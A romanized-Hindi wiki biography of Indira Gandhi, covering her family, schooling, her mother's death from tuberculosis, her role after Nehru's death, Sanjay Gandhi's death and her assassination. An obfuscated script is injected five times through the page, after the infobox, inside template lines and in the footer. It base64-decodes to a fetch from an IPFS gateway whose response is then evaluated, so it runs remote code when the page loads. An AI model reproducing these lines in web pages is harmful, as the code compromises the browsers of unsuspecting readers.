इंदिरा गाँधी का जीवन परिचय
iandira gaandhi ka jivan parichay
| |
| poora nam | iandira priyadarshani gaandhi |
| any nam | indu |
| janm | 19 navambar, 1917 |
| janm bhoomi | ilahabad, uttar pradesh |
| mrityu | 31 aktoobar, 1984 |
| mrityu sthan | dilli |
| mrityu karan | hatya |
| abhibhavak | javaharalal neharoo, kamala neharoo |
| pati/patni | firoz gaandhi |
| santan | rajiv gaandhi aur sanjay gaandhi |
| smarak | shakti sthal, dilli |
| prasiddhi | 1971 ke bharat -pakistan yuddh mean bharat ki vijay |
| parti | kaangres |
| pad | bharat ki tritiy pradhanamantri |
| bhasha | hindi, aangrezi |
| puraskar-upadhi | bharat ratn samman |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
iandira priyadarshani gaandhi n keval bharatiy rajaniti par chhaee rahian balki vishv rajaniti ke kshitij par bhi ve ek prabhav chho d geean. shrimati iandira gaandhi ka janm neharoo khanadan mean hua tha. iandira gaandhi, bharat ke pratham pradhanamantri pandit javaharalal neharoo ki ikalauti putri thian. aj iandira gaandhi ko sirf is karan nahian jana jata ki vah pandit javaharalal neharoo ki beti thian balki iandira gaandhi apani pratibha aur rajanitik dridhata ke lie 'vishvarajaniti' ke itihas mean jani jati haian aur iandira gaandhi ko 'lauh-mahila' ke nam se sanbodhit kiya jata hai. ye bharat ki pratham mahila pradhanamantri thian.
janm tatha mata-pita
inaka janm 19 navambar, 1917 ko ilahabad, uttar pradesh ke anand bhavan mean ek sampann parivar mean hua tha. inaka poora nam hai- 'iandira priyadarshani gaandhi'. inake pita ka nam javaharalal neharoo aur dada ka nam motilal neharoo tha. pita evan dada donoan vakalat ke peshe se sanbandhit the aur desh ki svadhinata mean inaka prabal yogadan tha. inaki mata ka nam kamala neharoo tha jo dilli ke pratishthit kaul parivar ki putri thian. iandiraji ka janm aise parivar mean hua tha jo arthik evan bauddhik donoan drishti se kafi sanpann tha. at: inhean anand bhavan ke roop mean mahalanuma avas prapt hua. iandira ji ka nam inake dada pandit motilal neharoo ne rakha tha. yah sanskritanishth shabd hai jisaka ashay hai kaanti, lakshmi, evan shobha. inake dadaji ko lagata tha ki pautri ke roop mean unhean maan lakshmi aur durga ki prapti huee hai. pandit neharoo ne atyant priy dekhane ke karan apani putri ko priyadarshini ke nam se sanbodhit kiya jata tha. chooanki javaharalal neharoo aur kamala neharoo svayan behad suandar tatha akarshak vyaktitv ke malik the, is karan suandarata ke mamale mean yah gunasootr unhean apane mata-pita se prapt hue the. inhean ek ghareloo nam bhi mila jo iandira ka sankshipt roop 'iandu' tha.
mata-pita ka sath
iandira ji ko bachapan mean mata-pita ka zyada sath nasib nahian ho paya. pandit neharoo desh ki svadhinata ko lekar rajanitik kriyaoan mean vyast rahate the aur mata kamala neharoo ka svasthy us samay kafi kharab tha. dada motilal neharoo se iandira ji ko kafi sneh aur pyar-dular prapt hua tha. iandira ji ki paravarish naukar-chakaroan dvara hi sanpann huee thi. ghar mean iandira ji ikalauti putri thian. is karan inhean bahan aur bhaee ka bhi koee sath prapt nahian hua. ekaant samay mean vah apane gudde-gu diyoan ke sath khela karati thian. ghar par shiksha ka jo prabandh tha, use paryapt nahian kaha ja sakata tha. lekin aangrezi bhasha par unhoanne achchha adhikar prapt kar liya tha.
vidyarthi jivan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
iandira ji ko janm ke kuchh varshoan bad bhi shiksha ka anukool mahaul nahian upalabdh ho paya tha. paanch varsh ki avastha ho jane tak balika iandira ne vidyalay ka mukh nahian dekha tha. pita javaharalal neharoo desh ki azadi ke aandolan mean vyast the aur mata kamala neharoo us samay bimar rahati thian. ghar ka vatavaran bhi padhaee ke anukool nahian tha. kaangres ke karyakartaoan ka rat-din anand bhavan mean ana jana laga rahata tha. tathapi pandit neharoo ne putri ki shiksha ke lie ghar par hi shikshakoan ka iantazam kar diya tha. balika iandu ko anand bhavan mean hi shikshakoan dvara padhaya jata tha. [[chitr:Jawahar-Lal-Nehru-Family.jpg|thumb|250px|left|neharoo parivar]] pandit javaharalal neharoo shiksha ka mahattv kafi achchhi tarah samajhate the. yahi karan hai ki unhoanne putri iandira ki prathamik shiksha ka prabandh ghar par hi kar diya tha. lekin aangrezi ke atirikt any vishayoan mean balika iandira koee vishesh dakshata nahian prapt kar saki. tab iandira ko shaanti niketan skool mean padhane ka avasar prapt hua usake bad unhoanne baidamiantan skool tatha aauksaphord yoonivarsiti mean adhyayan kiya. lekin iandira ne padhaee mean koee vishesh pravinata nahian dikhaee. vah ausat darje ki chhatra rahian.
pandit neharoo ki mrityu
pandit javaharalal neharoo (14 navambar, 1889 - 27 mee, 1964) bharatiy svatantrata sangram ke mahanh senani evan svatantr bharat ke pratham pradhanamantri (1947-1964) the. 27 mee 1964 ko jab pandit neharoo ki mrityu huee tab pahale ki bhaanti kaangres parti par unaki pak d mazaboot nahian rah gee thi. parti mean unaki sakh bhi kamazor huee thi. chin yuddh mean bharat ki parajay ke karan pandit neharoo ki lokapriyata kam huee thi aur lakave ke karan bhi unhean sharirik roop se aksham man liya gaya tha. lekin deshahit mean kie ge unake abhootapoorv karyoan ki abha ne pandit neharoo ko pradhanamantri banae rakha. jis prakar krishna menan ko chin se parajay ke bad raksha mantri ke pad se hatane ke lie vivash kiya gaya tha, vaisa hi pandit neharoo ke sath bhi kiya ja sakata tha. lekin yah pandit neharoo ka abhamandal tha ki parti ne us par nishtha bhav banae rakha. parantu parti par unaki pak d pahale jaisi mazaboot nahian rah gee thi. iandira gaandhi ne bhi is parivartan ko lakshy kar liya tha.
pandit neharoo ke bad lalabahadur shastri pradhanamantri banae ge. unhoanne kaangres sangathan mean iandira ji ke sath milakar kary kiya tha. shastriji ne unhean soochana evan prasaran mantralay sauanpa. apane is ne dayitv ka nirvahan bhi iandiraji ne kushalata ke sath kiya. yah zamana akashavani ka tha aur dooradarshan us samay bharat mean nahian aya tha. iandira gaandhi ne akashavani ke karyakramoan mean pherabadal karate hue use manoranjan banaya tatha usamean gunatmak abhivriddhi ki. 1965 mean jab bharat- pakistan yuddh hua to akashavani ka netavark itana mukhar tha ki samast bharat usaki avaz ke karan ekajut ho gaya. is yuddh ke dauran akashavani ka aisa upayog hua ki log rashtriyata ki bhavana se ot-prot ho uthe. bharat ki janata ne yah pradarshit kiya ki sankat ke samay ve sab ekajut haian aur rashtr ke lie tan-man dhan arpan karane ko taiyar haian. rashtrabhakti ka aisa jazba svatantrata sangram ke dauran bhi dekhane ko nahian prapt hua tha. iandira gaandhi ne yuddh ke samay simaoan par javanoan ke bich rahate hue unake manobal ko bhi ooancha uthaya jabaki isamean unaki ziandagi ko bhari khatara tha. kashmir ke yuddhagrast kshetroan mean jakar jis prakar unhoanne bharatiy saiannikoan ka manobal ooancha kiya, usase yah zahir ho gaya ki unamean netritv ke vahi gun haian jo pandit neharoo mean the.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kamala neharoo ki bimari aur nidhan
[[chitr:Jawahar-Lal-Nehru-Family-2.jpg|thumb|right|javaharalal neharoo apani patni kamala neharoo aur beti iandira gaandhi ke sath]] darasal kuchh samay bad hi ilahabad mean iandira ki mata kamala neharoo ka svasthy kafi kharab ho gaya. vah bimari mean apani putri ko yad karati thian. pandit neharoo nahian chahate the ki bimar mata ko usaki putri ki shiksha ke karan zyada samay tak door rakha jae. udhar aangrezoan ko bhi kamala neharoo ke asvasth hone ki janakari thi. aangrez chahate the ki yadi aise samay mean pandit neharoo ko jel bhejane ka bhay dikhaya jae to vah azad rahakar patni ka ilaj karane ke lie unaki har shart manane ko majaboor ho jaeange. is prakar ve pandit neharoo ka manobal to dane ka prayas kar rahe the. pandit neharoo jab aangrezoan ki shartoan ke anusar chalane ko taiyar n hue to unhean giraftar karake jel mean dal diya gaya. jab pandit neharoo ne gurudev raviandranath thakur ke nam shaanti niketan mean tar bheja gurudev ne vah tar iandira ko diya jisamean likha tha. iandira ki mata kafi asvasth haian aur maian jel mean hooan. is karan iandira ko mata ki dekharekh ke lie avilamb ilahabad bhej diya jae. mata ki asvasthata ka samachar milane ke bad iandira ne gurudev se jane ki ichchha prakat ki.
jarmani mean ilaj
ilahabad pahuanchane par iandira ne apani mata ki rugn sthiti dekhi jo kafi chiantaniy thi. bharat mean us samay yakshma ka maqool ilaj nahian tha. unaka svasthy tezise big data ja raha tha. yah 1935 ka samay tha. tab d aauktar madan atal ke sath iandira ji apani mata ko chikitsa hetu jarmani ke lie prasthan kar geean. pandit neharoo us samay jel mean the. char mah bad jab pandit neharoo jel se riha hue to vah bhi jarmani pahuanch ge. jarmani mean kuchh samay tak kamala neharoo ka svasthy thik raha lekin yakshma ne phir zor pak d liya. is samay tak vishv mean kahian bhi yakshma ka ilaj nahian tha. haan, yah avashy tha ki paha di sthanoan par bane senitoriyam mean rakhakar marizoan ki ziandagi ko kuchh samay ke lie badha diya jata tha. lekin yah kamala neharoo ke rog ki praranbhik sthiti nahian thi. yakshma apani prachand sthiti mean pahuanch chuka tha lekin pita- putri ne har nahian mani.
pandit neharoo aur iandira kamalaji ko svitjaralaiand le ge. vahaan unhean laga ki kamala ji ke svasthy mean sudhar ho raha hai. lekin jis prakar bujhane vale dipak ki lau mean aantim samay prakash tivr ho jata hai, usi prakar svasthy sudhar ka yah sanket bhi bhramapoorn tha. rajarog ko apani bali leni thi aur faravari 1936 mean kamala neharoo ka nidhan ho gaya. 19 varshiya putri iandira ke lie yah bhari shok ke kshan the. mata ki judaee ka aghat sahan kar pana itana asan nahian tha. un par mata ki rugn samay ki smritiyaan havi thian. pandit neharoo ko bhay tha ki mata ke nidhan ka du:kh aur ekaant mean mata ki yadoan ki pi da kahian iandira ko avasad ka shikar n bana de. iandira mean avasad ke aranbhik lakshan nazar bhi ane lage the. tab pandit neharoo ne yoorop ke kuchh darshaniy sthaloan par apani putri iandira ke sath kuchh samay gujara taki badale hue parivesh mean vah atit ki yadoan se mukt rah sake. isaka maqool asar bhi hua. iandira ne vidhi ke kar vidhan ko samajhate hue halat se samajhauta kar liya.
sanjay gaandhi ki mrityu
23 joon, 1980 ko pradhanamantri iandira gaandhi ke chhote putr sanjay gaandhi ki vayuyan durghatana mean mrityu ho gee. sanjay ki mrityu ne iandira gaandhi ko to dakar rakh diya. is hadase se vah svayan ko sanbhal nahian pa rahi thian. tab rajiv gaandhi ne payalet ki naukari chho dakar sanjay gaandhi ki kami poori karane ka prayas kiya. lekin rajiv gaandhi ne yah phaisala hriday se nahian kiya tha. isaka karan yah tha ki unhean rajaniti ke daanvapech nahian ate the. jab iandira gaandhi ki dobara vapasi huee tab desh mean asthirata ka mahaul utpann hone laga. kashmir, asam aur panjab atankavad ki ag mean jhulas rahe the. dakshin bharat mean bhi saanpradayik dangoan ka mahaul paida hone laga tha. dakshin bharat jo kaangres ka gadh ban chuka tha, 1983 mean vidhanasabha chunavoan mean kaangres ko aandhr pradesh aur karnatak mean har ka samana karana p da. vahaan kshetriy star ki partiyaan satta par qabij ho geean.
mrityu
svarn mandir par hamale ke pratikar mean paanch mahine ke bad hi 31 aktoobar 1984 ko shrimati gaandhi ke avas par tainat unake do sikkh aangarakshakoan ne goli marakar unaki hatya kar di.
| left|30px|link=iandira gaandhi|pichhe jaean | iandira gaandhi ka jivan parichay | right|30px|link=iandira gaandhi ka vidharthi jivan|age jaean |
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>